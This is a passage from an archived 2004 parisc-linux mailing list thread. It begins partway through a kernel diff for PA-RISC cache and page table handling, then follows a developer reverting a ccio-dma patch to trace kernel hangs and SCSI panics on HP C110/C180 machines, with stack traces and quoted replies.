+	if (page->mapping && list_empty(&page->mapping->i_mmap) &&
+			list_empty(&page->mapping->i_mmap_shared)) {
+		set_bit(PG_dcache_dirty, &page->flags);
+	} else {
+		__flush_dcache_page(page);
+	}
+}
+
+static inline void
+copy_user_page(void *vto, void *vfrom, unsigned long vaddr, struct page *pg)
+{
+	pte_t *pte;
+	copy_user_page_asm(vto, vfrom);
+	flush_kernel_dcache_page(vto);
+	if(likely((pte = __translation_exists(current->active_mm, vaddr)) &&
+		  pte_flush(*pte))) {
+		/* no point clearing flush here, it will be set again
+		 * when the user accesses the page */
+		flush_user_dcache_page(vaddr);
+		flush_user_icache_page(vaddr);
+	}
+		
+}
+
 #endif
 
diff -Nru a/include/asm-parisc/page.h b/include/asm-parisc/page.h
--- a/include/asm-parisc/page.h	Sat Apr 17 19:16:12 2004
+++ b/include/asm-parisc/page.h	Sat Apr 17 19:16:12 2004
@@ -19,15 +19,10 @@
 
 extern void purge_kernel_dcache_page(unsigned long);
 extern void copy_user_page_asm(void *to, void *from);
+extern void copy_user_page_vaddr_asm(void *to, void *from, unsigned long vaddr);
 extern void clear_user_page_asm(void *page, unsigned long vaddr);
 
-static inline void
-copy_user_page(void *vto, void *vfrom, unsigned long vaddr, struct page *pg)
-{
-	copy_user_page_asm(vto, vfrom);
-	flush_kernel_dcache_page(vto);
-	/* XXX: ppc flushes icache too, should we? */
-}
+/* see cacheflush.h for copy_user_page */
 
 static inline void
 clear_user_page(void *page, unsigned long vaddr, struct page *pg)
diff -Nru a/include/asm-parisc/pgtable.h b/include/asm-parisc/pgtable.h
--- a/include/asm-parisc/pgtable.h	Sat Apr 17 19:16:12 2004
+++ b/include/asm-parisc/pgtable.h	Sat Apr 17 19:16:12 2004
@@ -29,15 +29,6 @@
  */
 #define kern_addr_valid(addr)	(1)
 
-/* Certain architectures need to do special things when PTEs
- * within a page table are directly modified.  Thus, the following
- * hook is made available.
- */
-#define set_pte(pteptr, pteval)                                 \
-        do{                                                     \
-                *(pteptr) = (pteval);                           \
-        } while(0)
-
 #endif /* !__ASSEMBLY__ */
 
 #define pte_ERROR(e) \
@@ -213,6 +204,15 @@
 #define __S110  PAGE_RWX
 #define __S111  PAGE_RWX
 
+/* Certain architectures need to do special things when PTEs
+ * within a page table are directly modified.  Thus, the following
+ * hook is made available.
+ */
+static inline void set_pte(pte_t *pteptr, pte_t pteval)
+{
+	*pteptr = pteval;
+}
+
 extern pgd_t swapper_pg_dir[]; /* declared in init_task.c */
 
 /* initial page tables for 0-8MB for kernel */
@@ -230,17 +230,16 @@
 
 #define ZERO_PAGE(vaddr) (virt_to_page(empty_zero_page))
 
-#define pte_none(x)     ((pte_val(x) == 0) || (pte_val(x) & _PAGE_FLUSH))
+#define pte_none(x)     ((pte_val(x) == 0))
 #define pte_present(x)	(pte_val(x) & _PAGE_PRESENT)
-#define pte_clear(xp)	do { pte_val(*(xp)) = 0; } while (0)
+#define pte_clear_flush(xp)	do { pte_val(*(xp)) &= ~ _PAGE_FLUSH; } while(0)
+#define pte_flush(x)	(pte_val(x) & _PAGE_FLUSH)
 
 #define pmd_none(x)	(!pmd_val(x))
 #define pmd_bad(x)	((pmd_val(x) & ~PAGE_MASK) != _PAGE_TABLE)
 #define pmd_present(x)	(pmd_val(x) & _PAGE_PRESENT)
 #define pmd_clear(xp)	do { pmd_val(*(xp)) = 0; } while (0)
 
-
-
 #ifdef __LP64__
 #define pgd_page(pgd) ((unsigned long) __va(pgd_val(pgd) & PAGE_MASK))
 
@@ -282,6 +281,13 @@
 extern inline pte_t pte_mkyoung(pte_t pte)	{ pte_val(pte) |= _PAGE_ACCESSED; return pte; }
 extern inline pte_t pte_mkwrite(pte_t pte)	{ pte_val(pte) |= _PAGE_WRITE; return pte; }
 
+static inline void pte_clear(pte_t *xp) {
+	WARN_ON(pte_flush(*xp) && pte_user(*xp));
+	pte_val(*xp) = 0;
+}
+
+
+
 /*
  * Conversion functions: convert a page and protection to a page entry,
  * and a page entry and page directory to the page they refer to.
@@ -402,23 +408,12 @@
 #endif
 }
 
-#ifdef CONFIG_SMP
-extern spinlock_t pa_dbit_lock;
-#else
-static int pa_dbit_lock; /* dummy to keep the compilers happy */
-#endif
-
 static inline pte_t ptep_get_and_clear(pte_t *ptep)
 {
 	pte_t old_pte;
-	pte_t pte;
 
-	spin_lock(&pa_dbit_lock);
-	pte = old_pte = *ptep;
-	pte_val(pte) &= ~_PAGE_PRESENT;
-	pte_val(pte) |= _PAGE_FLUSH;
-	set_pte(ptep,pte);
-	spin_unlock(&pa_dbit_lock);
+	old_pte = *ptep;
+	pte_clear(ptep);
 
 	return old_pte;
 }
diff -Nru a/include/asm-parisc/tlb.h b/include/asm-parisc/tlb.h
--- a/include/asm-parisc/tlb.h	Sat Apr 17 19:16:12 2004
+++ b/include/asm-parisc/tlb.h	Sat Apr 17 19:16:12 2004
@@ -7,7 +7,7 @@
 } while (0)
 
 #define tlb_start_vma(tlb, vma) \
-do {	if (!(tlb)->fullmm)	\
+do {	\
 		flush_cache_range(vma, vma->vm_start, vma->vm_end); \
 } while (0)
 
diff -Nru a/mm/memory.c b/mm/memory.c
--- a/mm/memory.c	Sat Apr 17 19:16:12 2004
+++ b/mm/memory.c	Sat Apr 17 19:16:12 2004
@@ -1035,11 +1035,13 @@
 		int reuse = can_share_swap_page(old_page);
 		unlock_page(old_page);
 		if (reuse) {
-			flush_cache_page(vma, address);
+			//flush_cache_page(vma, address);
+			flush_dcache_page(old_page);
 			entry = maybe_mkwrite(pte_mkyoung(pte_mkdirty(pte)),
 					      vma);
 			ptep_establish(vma, address, page_table, entry);
 			update_mmu_cache(vma, address, entry);
+			//flush_kernel_dcache_page(page_address(pte_page(entry)));
 			pte_unmap(page_table);
 			spin_unlock(&mm->page_table_lock);
 			return VM_FAULT_MINOR;




From - Thu Nov 08 21:31:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: kernel>=2.6.4-rc3 hung or panic on C1[18]0 [was:
 2.6.5-rc2-pa2 boot panic on c110 :(]
Date: Sun, 18 Apr 2004 14:39:45 +0000
Lines: 565
Approved: news@gmane.org
Message-ID: <40829331.6040905@tiscali.be>
References: <407DA495.1090009@tiscali.be>
	<40711E5500006381@ocpmta2.freegates.net>
	<26419.193.161.152.244.1082114391.squirrel@www.puszczka.com>
	<4081731B.7070006@tiscali.be>
	<32875.127.0.0.1.1082234959.squirrel@www.puszczka.com>
	<4081A280.8050108@tiscali.be> <4081B70F.6060003@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623386 8447 80.91.229.3 (22 Nov 2014 02:29:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, Andy Walker <ajwalker@broadpark.no>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: soete.joel@tiscali.be  Sun Apr 18 08:39:54 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E38D48C8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Apr 2004 08:39:53 -0600 (MDT)
Original-Received: from [83.134.226.208] (port=32903 helo=tiscali.be)
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BFDQx-00013h-H8; Sun, 18 Apr 2004 16:38:11 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040413 Debian/1.6-5
X-Accept-Language: en
In-Reply-To: <4081B70F.6060003@tiscali.be>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 18 Apr 2004 14:39:55 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21457

Hello,

Sorry but I absolutly blind this week-end (no access to 192.25.206 ie debian.org, p-l.org and cvs.p-l.org :_( ), more over I had 
to confirm 'membership in the mailing list parisc-linux' which has been disabled, so I didn't received anymore followup :(

Any way I progress: I revert the following patch against the last pa kernel I had here ie 2.6.5-pa5:
===================================================================
RCS file: /var/lib/cvs/linux-2.6/drivers/parisc/ccio-dma.c,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -r1.12 -r1.13
--- linux-2.6/drivers/parisc/ccio-dma.c 2004/03/09 21:49:04     1.12
+++ linux-2.6/drivers/parisc/ccio-dma.c 2004/03/10 19:24:48     1.13
@@ -38,9 +38,7 @@
  #include <linux/spinlock.h>
  #include <linux/slab.h>
  #include <linux/string.h>
-#define PCI_DEBUG
  #include <linux/pci.h>
-#undef PCI_DEBUG
  #include <linux/reboot.h>

  #include <asm/byteorder.h>
@@ -344,15 +342,16 @@
   * of available pages for the requested size.
   */
  static int
-ccio_alloc_range(struct ioc *ioc, unsigned long pages_needed)
+ccio_alloc_range(struct ioc *ioc, size_t size)
  {
+       unsigned int pages_needed = size >> IOVP_SHIFT;
         unsigned int res_idx;
  #ifdef CCIO_SEARCH_TIME
         unsigned long cr_start = mfctl(16);
  #endif

-       ASSERT(pages_needed);
-       ASSERT((pages_needed * IOVP_SIZE) <= DMA_CHUNK_SIZE);
+       BUG_ON(pages_needed == 0);
+       BUG_ON((pages_needed * IOVP_SIZE) > DMA_CHUNK_SIZE);

         DBG_RES("%s() size: %d pages_needed %d\n",
                 __FUNCTION__, size, pages_needed);
@@ -387,7 +386,7 @@
                 CCIO_FIND_FREE_MAPPING(ioc, res_idx, ~0UL, 64);
  #endif
         } else {
-               panic("%s: %s() Too many pages to map. pages_needed: %ld\n",
+               panic("%s: %s() Too many pages to map. pages_needed: %u\n",
                        __FILE__,  __FUNCTION__, pages_needed);
         }

@@ -420,7 +419,7 @@

  #define CCIO_FREE_MAPPINGS(ioc, res_idx, mask, size) \
          u##size *res_ptr = (u##size *)&((ioc)->res_map[res_idx]); \
-        ASSERT((*res_ptr & mask) == mask); \
+        BUG_ON((*res_ptr & mask) != mask); \
          *res_ptr &= ~(mask);

  /**
@@ -438,9 +437,9 @@
         unsigned long iovp = CCIO_IOVP(iova);
         unsigned int res_idx = PDIR_INDEX(iovp) >> 3;

-       ASSERT(pages_mapped);
-       ASSERT((pages_mapped * IOVP_SIZE) <= DMA_CHUNK_SIZE);
-       ASSERT(pages_mapped <= BITS_PER_LONG);
+       BUG_ON(pages_mapped == 0);
+       BUG_ON((pages_mapped * IOVP_SIZE) > DMA_CHUNK_SIZE);
+       BUG_ON(pages_mapped > BITS_PER_LONG);

         DBG_RES("%s():  res_idx: %d pages_mapped %d\n",
                 __FUNCTION__, res_idx, pages_mapped);
@@ -558,13 +557,14 @@
   * index are bits 12:19 of the value returned by LCI.
   */
  void CCIO_INLINE
-ccio_io_pdir_entry(u64 *pdir_ptr, space_t sid, void * vba, unsigned long hints)+ccio_io_pdir_entry(u64 *pdir_ptr, space_t sid, 
unsigned long vba,
+                  unsigned long hints)
  {
         register unsigned long pa = (volatile unsigned long) vba;
         register unsigned long ci; /* coherent index */

         /* We currently only support kernel addresses */
-       ASSERT(sid == KERNEL_SPACE);
+       BUG_ON(sid != KERNEL_SPACE);

         mtsp(sid,1);

@@ -677,7 +677,7 @@
                 unsigned int idx = PDIR_INDEX(iovp);
                 char *pdir_ptr = (char *) &(ioc->pdir_base[idx]);

-               ASSERT(idx < (ioc->pdir_size / sizeof(u64)));
+               BUG_ON(idx >= (ioc->pdir_size / sizeof(u64)));
                 pdir_ptr[7] = 0;        /* clear only VALID bit */
                 /*
                 ** FIXME: PCX_W platforms don't need FDC/SYNC. (eg C360)
@@ -747,7 +747,7 @@
         BUG_ON(!dev);
         ioc = GET_IOC(dev);

-       ASSERT(size > 0);
+       BUG_ON(size <= 0);

         /* save offset bits */
         offset = ((unsigned long) addr) & ~IOVP_MASK;
@@ -761,7 +761,7 @@
         ioc->msingle_pages += size >> IOVP_SHIFT;
  #endif

-       idx = ccio_alloc_range(ioc, (size >> IOVP_SHIFT));
+       idx = ccio_alloc_range(ioc, size);
         iovp = (dma_addr_t)MKIOVP(idx);

         pdir_start = &(ioc->pdir_base[idx]);
@@ -774,7 +774,7 @@
                 hint |= HINT_SAFE_DMA;

         while(size > 0) {
-               ccio_io_pdir_entry(pdir_start, KERNEL_SPACE, addr, hint);
+               ccio_io_pdir_entry(pdir_start, KERNEL_SPACE, (unsigned long)addr, hint);

                 DBG_RUN(" pdir %p %08x%08x\n",
                         pdir_start,
@@ -886,162 +886,10 @@
  */
  #define PIDE_FLAG 0x80000000UL

-/**
- * ccio_fill_pdir - Insert coalesced scatter/gather chunks into the I/O Pdir.
- * @ioc: The I/O Controller.
- * @startsg: The scatter/gather list of coalesced chunks.
- * @nents: The number of entries in the scatter/gather list.
- * @hint: The DMA Hint.
- *
- * This function inserts the coalesced scatter/gather list chunks into the
- * I/O Controller's I/O Pdir.
- */
-static CCIO_INLINE int
-ccio_fill_pdir(struct ioc *ioc, struct scatterlist *startsg, int nents,
-              unsigned long hint)
-{
-       struct scatterlist *dma_sg = startsg;   /* pointer to current DMA */
-       int n_mappings = 0;
-       unsigned long dma_offset = 0, dma_len = 0;
-       u64 *pdirp = NULL;
-
-       while (nents-- > 0) {
-               unsigned long vaddr;
-               long size;
-
-               DBG_RUN_SG(" %d : %08lx/%05x %08lx/%05x\n", nents,
-                          (unsigned long)sg_dma_address(startsg), cnt,
-                          sg_virt_addr(startsg), startsg->length
-               );
-
-
-               /*
-               ** Look for the start of a new DMA stream
-               */
-
-               if (sg_dma_address(startsg) & PIDE_FLAG) {
-                       u32 pide = sg_dma_address(startsg) & ~PIDE_FLAG;
-
-                       if (pdirp) {
-                               BUG_ON(dma_len != sg_dma_len(dma_sg));
-                               dma_sg++;
-                       }
-                       dma_len = sg_dma_len(startsg);
-                       dma_offset = (unsigned long) pide & ~IOVP_MASK;
-                       n_mappings++;
-                       sg_dma_address(dma_sg) = pide;
-                       pdirp = &(ioc->pdir_base[pide >> IOVP_SHIFT]);
-               }
-
-               BUG_ON(pdirp == NULL);
-
-               sg_dma_len(startsg) = 0;
-               vaddr = sg_virt_addr(startsg);
-               sg_dma_len(dma_sg) += startsg->length;
-               size = startsg->length + dma_offset;
-               dma_offset = 0;
-               if (unlikely(size > IOVP_SIZE)) {
-                       printk("VIRTUAL CHUNK has size 0x%lx\n",
-                              size);
-               }
  #ifdef CCIO_MAP_STATS
-               ioc->msg_pages += startsg->length >> IOVP_SHIFT;
+#define IOMMU_MAP_STATS
  #endif
-               do {
-                       ccio_io_pdir_entry(pdirp, KERNEL_SPACE,
-                                          (void *)vaddr, hint);
-                       vaddr += IOVP_SIZE;
-                       size -= IOVP_SIZE;
-                       pdirp++;
-               } while(unlikely(size > 0));
-               startsg++;
-       }
-       return(n_mappings);
-}
-
-/*
-** First pass is to walk the SG list and determine where the breaks are
-** in the DMA stream. Allocates PDIR entries but does not fill them.
-** Returns the number of DMA chunks.
-**
-** Doing the fill separate from the coalescing/allocation keeps the
-** code simpler. Future enhancement could make one pass through
-** the sglist do both.
-*/
-
-static CCIO_INLINE int
-ccio_coalesce_chunks(struct ioc *ioc, struct scatterlist *startsg, int nents)
-{
-       struct scatterlist *contig_sg;     /* contig chunk head */
-       unsigned long dma_offset, dma_len; /* start/len of DMA stream */
-       int n_mappings = 0;
-
-       while (nents > 0) {
-
-               /*
-               ** Prepare for first/next DMA stream
-               */
-               contig_sg = startsg;
-               dma_len = startsg->length;
-               dma_offset = sg_virt_addr(startsg) & ~IOVP_MASK;
-
-               /* PARANOID: clear entries */
-               sg_dma_address(startsg) = 0;
-               sg_dma_len(startsg) = 0;
-
-               /*
-               ** This loop terminates one iteration "early" since
-               ** it's always looking one "ahead".
-               */
-               while(--nents > 0) {
-                       unsigned long prevstartsg_end, startsg_end;
-
-                       prevstartsg_end = sg_virt_addr(startsg) +
-                               startsg->length;
-
-                       startsg++;
-                       startsg_end = sg_virt_addr(startsg) +
-                               startsg->length;
-
-                       /* PARANOID: clear entries */
-                       sg_dma_address(startsg) = 0;
-                       sg_dma_len(startsg) = 0;
-
-                       /*
-                       ** First make sure current dma stream won't
-                       ** exceed DMA_CHUNK_SIZE if we coalesce the
-                       ** next entry.
-                       */
-                       if(unlikely(ROUNDUP(dma_len + dma_offset + startsg->length,
-                                           IOVP_SIZE) > DMA_CHUNK_SIZE))
-                               break;
-
-                       /*
-                       ** Next see if we can append the next chunk (i.e.
-                       ** it must end on one page and begin on another
-                       */
-                       if (unlikely(((prevstartsg_end | sg_virt_addr(startsg))
& ~PAGE_MASK) != 0))
-                               break;
-
-                       dma_len += startsg->length;
-               }
-
-               /*
-               ** End of DMA Stream
-               ** Terminate last VCONTIG block.
-               ** Allocate space for DMA stream.
-               */
-               sg_dma_len(contig_sg) = dma_len;
-               dma_len = ROUNDUP(dma_len + dma_offset, IOVP_SIZE);
-               sg_dma_address(contig_sg) =
-                       PIDE_FLAG
-                       | (ccio_alloc_range(ioc, (dma_len >> IOVP_SHIFT)) << IOVP_SHIFT)
-                       | dma_offset;
-               n_mappings++;
-       }
-
-       return n_mappings;
-}
+#include "iommu-helpers.h"

  /**
   * ccio_map_sg - Map the scatter/gather list into the IOMMU.
@@ -1094,7 +942,7 @@
         ** w/o this association, we wouldn't have coherent DMA!
         ** Access to the virtual address is what forces a two pass algorithm.
         */
-       coalesced = ccio_coalesce_chunks(ioc, sglist, nents);
+       coalesced = iommu_coalesce_chunks(ioc, sglist, nents, ccio_alloc_range);
         /*
         ** Program the I/O Pdir
@@ -1104,7 +952,7 @@
         ** o dma_len will contain the number of bytes to map
         ** o page/offset contain the virtual address.
         */
-       filled = ccio_fill_pdir(ioc, sglist, nents, hint);
+       filled = iommu_fill_pdir(ioc, sglist, nents, hint, ccio_io_pdir_entry);

         spin_unlock_irqrestore(&ioc->res_lock, flags);

@@ -1446,16 +1294,16 @@
         */

         iov_order = get_order(iova_space_size) >> (IOVP_SHIFT - PAGE_SHIFT);
-       ASSERT(iov_order <= (30 - IOVP_SHIFT));   /* iova_space_size <= 1GB */
-       ASSERT(iov_order >= (20 - IOVP_SHIFT));   /* iova_space_size >= 1MB */
+       BUG_ON(iov_order > (30 - IOVP_SHIFT));   /* iova_space_size <= 1GB */
+       BUG_ON(iov_order < (20 - IOVP_SHIFT));   /* iova_space_size >= 1MB */
         iova_space_size = 1 << (iov_order + IOVP_SHIFT);

         ioc->pdir_size = (iova_space_size / IOVP_SIZE) * sizeof(u64);

-       ASSERT(ioc->pdir_size < 4 * 1024 * 1024);   /* max pdir size < 4MB */
+       BUG_ON(ioc->pdir_size >= 4 * 1024 * 1024);   /* max pdir size < 4MB */

         /* Verify it's a power of two */
-       ASSERT((1 << get_order(ioc->pdir_size)) == (ioc->pdir_size >> PAGE_SHIFT));
+       BUG_ON((1 << get_order(ioc->pdir_size)) != (ioc->pdir_size >> PAGE_SHIFT));

         DBG_INIT("%s() hpa 0x%p mem %luMB IOV %dMB (%d bits) PDIR size 0x%0x",
                 __FUNCTION__, ioc->ioc_hpa, physmem>>20, iova_space_size>>20,
@@ -1469,7 +1317,7 @@
         }
         memset(ioc->pdir_base, 0, ioc->pdir_size);

-       ASSERT((((unsigned long)ioc->pdir_base) & PAGE_MASK) == (unsigned long)ioc->pdir_base);
+       BUG_ON((((unsigned long)ioc->pdir_base) & PAGE_MASK) != (unsigned long)ioc->pdir_base);
         DBG_INIT(" base %p", ioc->pdir_base);

         /* resource map size dictated by pdir_size */
@@ -1708,6 +1556,7 @@
                                        proc_runway_root, ccio_resource_map, NULL);
         }
         parisc_vmerge_boundary = IOVP_SIZE;
+       parisc_vmerge_max_size = BITS_PER_LONG * IOVP_SIZE;
         ioc_count++;
         return 0;
  }
==================================================================================================

And the test (find + tar) works again.

I presume that wrong stuff come from the ccio_fill_pdir() or ccio_coalesce_chunks() merge with lba one?
But I don't have yet more accurate idea on what went wrong here (difference between functions are important).

(would it help to rebuild this same kernel tree with gcc-3.0 32bit would help? right now is was build with latest gcc-3.3.3.)

Grant, James any idea?

Thanks again for your understanding,
	Joel

Joel Soete wrote:
> Hi all,
> 
> To summarise I do following test with different kernel to locate this pb:
> launch severall find into local big tree (different release of kernel 
> tree) in the same time of a tar of one of those tree.
> 
> with kernel 2.6.3-pa2 no pb
> with 2.6.4-rc1-pa3 no pb (apparently)
> with 2.6.4-rc3-pa6 system crash (as well as with 2.6.4-rc3-pa1)
> 
> with the last one (2.6.4-rc3-pa1) I also log:
> attempt to access beyond end of device
> sdb9: rw=0, want=2307486096, limit=3075696
> attempt to access beyond end of device
> sdb9: rw=0, want=2842788104, limit=3075696
> attempt to access beyond end of device
> sdb9: rw=0, want=1904280008, limit=3075696
> attempt to access beyond end of device
> sdb9: rw=0, want=2298589592, limit=3075696
> attempt to access beyond end of device
> sdb9: rw=0, want=26325376, limit=3075696
> attempt to access beyond end of device
> sdb9: rw=0, want=1371126224, limit=3075696
> attempt to access beyond end of device
> sdb9: rw=0, want=3277938880, limit=3075696
> attempt to access beyond end of device
> sdb9: rw=0, want=122917000, limit=3075696
> attempt to access beyond end of device
> sdb9: rw=0, want=1151862976, limit=3075696
> attempt to access beyond end of device
> sdb9: rw=0, want=3236466824, limit=3075696
> attempt to access beyond end of device
> sdb9: rw=0, want=3253102776, limit=3075696
> 
> during the first find alone?
> arq->state 2
> Badness in as_requeue_request at drivers/block/as-iosched.c:1479
> Kernel addresses on the stack:
>  [<10125de8>] printk+0x188/0x1c8
>  [<10105938>] dump_stack+0x18/0x24
>  [<102294fc>] as_requeue_request+0x64/0x10c
>  [<10220468>] elv_requeue_request+0x2c/0x38
>  [<1022313c>] blk_insert_request+0xfc/0x104
>  [<1024cbb0>] scsi_queue_insert+0x68/0x9c
>  [<1024915c>] scsi_finish_command+0x9c/0xc0
>  [<10249068>] scsi_softirq+0xfc/0x11c
>  [<10262fb4>] ncr53c8xx_intr+0x74/0xbc
>  [<101299cc>] do_softirq+0xf4/0xf8
>  [<10220468>] elv_requeue_request+0x2c/0x38
>  [<10107270>] do_cpu_irq_mask+0xfc/0x10c
>  [<10220468>] elv_requeue_request+0x2c/0x38
>  [<1010b068>] intr_return+0x0/0x14
>  [<1024cbb0>] scsi_queue_insert+0x68/0x9c
>  [<1010b070>] intr_return+0x8/0x14
>  [<1016ba8c>] may_open+0x58/0x1c8
>  [<1015a850>] dentry_open+0x138/0x1c4
>  [<1016e784>] locate_fd+0x158/0x194
>  [<1010b068>] intr_return+0x0/0x14
> 
> kernel BUG at include/linux/blkdev.h:543!
> Kernel addresses on the stack:
>  [<10125de8>] printk+0x188/0x1c8
>  [<10105938>] dump_stack+0x18/0x24
>  [<1024ddc8>] scsi_request_fn+0x2a0/0x2c4
>  [<10220468>] elv_requeue_request+0x2c/0x38
>  [<10223120>] blk_insert_request+0xe0/0x104
>  [<1024cbb0>] scsi_queue_insert+0x68/0x9c
>  [<1024915c>] scsi_finish_command+0x9c/0xc0
>  [<10249068>] scsi_softirq+0xfc/0x11c
>  [<10262fb4>] ncr53c8xx_intr+0x74/0xbc
>  [<101299cc>] do_softirq+0xf4/0xf8
>  [<10220468>] elv_requeue_request+0x2c/0x38
>  [<10107270>] do_cpu_irq_mask+0xfc/0x10c
>  [<10220468>] elv_requeue_request+0x2c/0x38
>  [<1010b068>] intr_return+0x0/0x14
>  [<1024cbb0>] scsi_queue_insert+0x68/0x9c
>  [<1010b070>] intr_return+0x8/0x14
>  [<1016ba8c>] may_open+0x58/0x1c8
>  [<1015a850>] dentry_open+0x138/0x1c4
>  [<1016e784>] locate_fd+0x158/0x194
>  [<1010b068>] intr_return+0x0/0x14
> [...]
> and so on severall time.
> 
> I also drive the same test over a nfs (as it seems that lan and scsi 
> ctrl on this c110 share the same U2 bridge?):
> no pb.
> 
> May I so reasonably thought that pb is loacted into ncr53c720 scsi driver?
> 
> Thanks in advance for additional help,
>     Joel
> 
> 
> 
> Joel Soete wrote:
> 
>>
>>
>> Andy Walker wrote:
>>
>>>> Hello Andy,
>>>>
>>>> Sorry for delay but I was a bit busy by a production server.
>>>
>>>
>>>
>>>
>>> No problem.
>>>
>>>
>>>>> 2.6.6-rc1-pa0 shows the same behaviour,
>>>>
>>>>
>>>>
>>>> Thanks.
>>>> but not a surprise regarding previous test.
>>>>
>>>>
>>>>> although it does seem to make it
>>>>> through the Gentoo boot process most times.
>>>>
>>>>
>>>>
>>>> I would not be surprise if it occures during some fsck. Do you also use
>>>> ext3 on your Gentoo?
>>>> btw Gentoo always install pkg by a local rebuild from src (that's a 
>>>> long
>>>> time that I visit the site)?
>>>
>>>
>>>
>>>
>>> That's the Gentoo way - so every package on my system is compiled
>>> -march=2.0 -mschedule=8000. The downside is that install and upgrade
>>> takes a long time on slow machines.
>>
>>
>>
>> Yes that why I do not investegate more: I don't have a lot of budget 
>> for my system which are generaly systems a bit outdated machine 
>> recover from trash still just enough for my investigation but a bit 
>> too slow to build all the tools I would like to maintained uptodate 
>> frequently. The very great stuff would have to have the choice: update 
>> from pre-compiled binaries or a local compile. The debian packaging 
>> system is very robust (some month ago, on a i386, I do an update from 
>> a old woody (r0 iirc) directly to unstable aka sid without any pb) but 
>> I do not yet find a clear doc explaining me how to personalize pkg 
>> from dpkg src (I would like for instance change the prefix in general 
>> /usr into /opt/app/app_rev a la hp)?
>>
>>> The upside is that you get total
>>> control over package selection and compilation options. I've played
>>> with Debian before but I find apt a pain compared to Gentoo's portage.
>>> Also all this sid/woody/stable/unstable etc.... stuff confuses me.
>>>
>> That is the simple aspect: in short
>>     the current stable release was named (the 2.x was potato, the 
>> current one woody)
>>     the very last packages otc are put in unstable (aka sid) for large 
>> testing and debuging
>>     when pkg become enough stable it is pushed in testing the futur 
>> debian release (recently named sarge)
>>
>> there are also security update for stable release only because there 
>> are in general in unstable and testing before!
>>
>> For my part I only have ineterest in very last available packages (so 
>> sid or unstable) to test new features but some times (rarely in fact) 
>> the system is a bit 'unstable' :) (that's my choice).
>>
>>>
>>>>> I've compiled 2.6.3-pa2 in the hope of getting the C180 up and stable.
>>>>
>>>>
>>>>
>>>> This seems to be the last one enough stable for me and my c110: I just
>>>> updated my distro (that used a lot tar iirc) and all works
>>>> fine with this kernel.
>>>
>>>
>>>
>>>
>>> 2.6.3-pa2 is rock solid. I've been running updates, kernel compilation -
>>> pretty heavy stuff, and no problems.
>>> I'm just about to 'emerge' X11 - that should keep it downloading,
>>> untarring and compiling for 24 hours.
>>>
>> Ok
>>
>>> Any suggestions for things I might test to narrow our problem down.
>>>
>> Not realy for the moment, as explain previously, the problem seems to 
>> apear between 2.6.4-rc1-pa3 and 2.6.4-rc3-pa6.
>> I will try to figure out now if it comes from upstream or from or 
>> tree: I am on going to rebuild 2.6.4-rc3-pa1 and see how will it behave.
>>
>> Thanks a lot,
>>     Joel
>>
> 


From - Thu Nov 08 21:31:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: kernel>=2.6.4-rc3 hung or panic on C1[18]0
	[was: 2.6.5-rc2-pa2 boot panic on c110 :(]
Date: 18 Apr 2004 11:36:02 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <1082306164.2195.27.camel@mulgrave>
References: <407DA495.1090009@tiscali.be>
	<40711E5500006381@ocpmta2.freegates.net>
	<26419.193.161.152.244.1082114391.squirrel@www.puszczka.com>
	<4081731B.7070006@tiscali.be>
	<32875.127.0.0.1.1082234959.squirrel@www.puszczka.com>
	<4081A280.8050108@tiscali.be> <4081B70F.6060003@tiscali.be> 
	<40829331.6040905@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623386 8449 80.91.229.3 (22 Nov 2014 02:29:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:46 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>,
	Andy Walker <ajwalker@broadpark.no>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: James.Bottomley@SteelEye.com  Sun Apr 18 10:36:14 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id A727B4831
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Apr 2004 10:36:12 -0600 (MDT)
